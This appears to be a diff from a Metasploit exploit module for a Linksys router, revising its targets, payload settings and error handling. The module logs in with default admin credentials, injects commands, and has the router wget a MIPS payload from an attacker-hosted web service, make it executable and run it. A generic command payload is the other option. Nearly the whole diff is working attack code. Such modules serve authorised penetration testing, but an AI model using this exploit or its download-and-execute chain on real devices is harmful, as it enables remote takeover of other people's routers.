@@ -32,37 +32,32 @@ def initialize(info = {})
32
32
] ,
33
33
'DisclosureDate' => 'Feb 05 2013' ,
34
34
'Privileged' => true ,
35
- 'Platform' => [ 'unix' , 'linux' , ] ,
36
- 'Arch' => [ ARCH_MIPSLE , ARCH_CMD ] ,
35
+ 'Platform' => [ 'linux' , 'unix' ] ,
36
+ #'Arch' => ARCH_MIPSLE,
37
+ 'Payload' =>
38
+ {
39
+ 'DisableNops' => true
40
+ } ,
37
41
'Targets' =>
38
42
[
39
43
[ 'CMD' ,
40
44
{
41
45
'Arch' => ARCH_CMD ,
42
- 'Platform' => 'unix' ,
46
+ 'Platform' => 'unix'
43
47
}
44
48
] ,
45
49
[ 'Linux Mipsel Payload' ,
46
50
{
47
51
'Arch' => ARCH_MIPSLE ,
48
- 'Platform' => 'linux' ,
52
+ 'Platform' => 'linux'
49
53
}
50
54
] ,
51
55
] ,
52
- #'Payload' =>
53
- # {
54
- # 'Compat' =>
55
- # {
56
- # 'PayloadType' => 'cmd mipsle',
57
- # 'RequiredCmd' => 'generic shell_bind_tcp shell_reverse_tcp'
58
- # },
59
- #},
60
56
'DefaultTarget' => 1 ,
61
57
) )
62
58
63
59
register_options (
64
60
[
65
- Opt ::RPORT ( 80 ) ,
66
61
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'admin' ] ) ,
67
62
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'admin' ] ) ,
68
63
OptString . new ( 'DOWNHOST' , [ false , 'The host to request the MIPS payload from' ] ) ,
@@ -91,13 +86,11 @@ def request(cmd,user,pass,uri)
91
86
}
92
87
} )
93
88
94
- if ( ! res )
95
- fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload [No Response]" )
96
- end
89
+ return res
97
90
98
91
rescue ::Rex ::ConnectionError
99
92
vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
100
- return
93
+ return nil
101
94
end
102
95
end
103
96
@@ -138,71 +131,86 @@ def exploit
138
131
end
139
132
140
133
if target . name =~ /CMD/
141
-
134
+ if not ( datastore [ 'CMD' ] )
135
+ fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
136
+ end
142
137
cmd = payload . encoded
143
- request ( cmd , user , pass , uri )
138
+ res = request ( cmd , user , pass , uri )
139
+ if ( !res )
140
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
141
+ end
142
+ return
143
+ end
144
144
145
- else
146
- #thx to Juan for his awesome work on the mipsel payloads
147
- @pl = generate_payload_exe
148
145
149
- #
150
- # start our server
151
- #
152
- resource_uri = '/' + downfile
146
+ #thx to Juan for his awesome work on the mipsel payloads
147
+ @pl = generate_payload_exe
153
148
154
- if ( datastore [ 'DOWNHOST' ] )
155
- service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
156
- else
157
- #do not use SSL ;)
158
- if datastore [ 'SSL' ]
159
- ssl_restore = true
160
- datastore [ 'SSL' ] = false
161
- end
162
-
163
- service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
164
- print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
165
- start_service ( { 'Uri' => {
166
- 'Proc' => Proc . new { |cli , req |
167
- on_request_uri ( cli , req )
168
- } ,
169
- 'Path' => resource_uri
170
- } } )
171
-
172
- datastore [ 'SSL' ] = true if ssl_restore
149
+ #
150
+ # start our server
151
+ #
152
+ resource_uri = '/' + downfile
153
+
154
+ if ( datastore [ 'DOWNHOST' ] )
155
+ service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
156
+ else
157
+ #do not use SSL ;)
158
+ if datastore [ 'SSL' ]
159
+ ssl_restore = true
160
+ datastore [ 'SSL' ] = false
173
161
end
174
162
175
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
163
+ service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
164
+ print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
165
+ start_service ( { 'Uri' => {
166
+ 'Proc' => Proc . new { |cli , req |
167
+ on_request_uri ( cli , req )
168
+ } ,
169
+ 'Path' => resource_uri
170
+ } } )
171
+
172
+ datastore [ 'SSL' ] = true if ssl_restore
173
+ end
176
174
177
- #this filename is used to store the payload on the device
178
- filename = rand_text_alpha_lower ( 8 )
179
- register_file_for_cleanup ( "/tmp/#{ filename } " )
175
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
180
176
181
- #not working if we send all command together -> lets take three requests
182
- cmd = "/usr/bin/wget #{ service_url } -O /tmp/ #{ filename } "
177
+ #this filename is used to store the payload on the device
178
+ filename = rand_text_alpha_lower ( 8 )
183
179
184
- request ( cmd , user , pass , uri )
180
+ #not working if we send all command together -> lets take three requests
181
+ cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
185
182
186
- #
187
- # chmod
188
- #
183
+ res = request ( cmd , user , pass , uri )
184
+ if ( !res )
185
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
186
+ end
187
+ register_file_for_cleanup ( "/tmp/#{ filename } " )
189
188
190
- cmd = "chmod 777 /tmp/#{ filename } "
189
+ #
190
+ # chmod
191
+ #
191
192
192
- print_status ( " #{ rhost } : #{ rport } - Asking the Linksys device to prepare #{ downfile } " )
193
+ cmd = "chmod 777 /tmp/ #{ filename } "
193
194
194
- request ( cmd , user , pass , uri )
195
+ print_status ( " #{ rhost } : #{ rport } - Asking the Linksys device to prepare #{ downfile } " )
195
196
196
- #
197
- # execute
198
- #
197
+ res = request ( cmd , user , pass , uri )
198
+ if ( !res )
199
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
200
+ end
201
+
202
+
203
+ #
204
+ # execute
205
+ #
199
206
200
- cmd = "/tmp/#{ filename } "
207
+ cmd = "/tmp/#{ filename } "
201
208
202
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
209
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
203
210
204
- request ( cmd , user , pass , uri )
205
- stop_service
211
+ res = request ( cmd , user , pass , uri )
212
+ if ( !res )
213
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
206
214
end
207
215
208
216
end
0 commit comments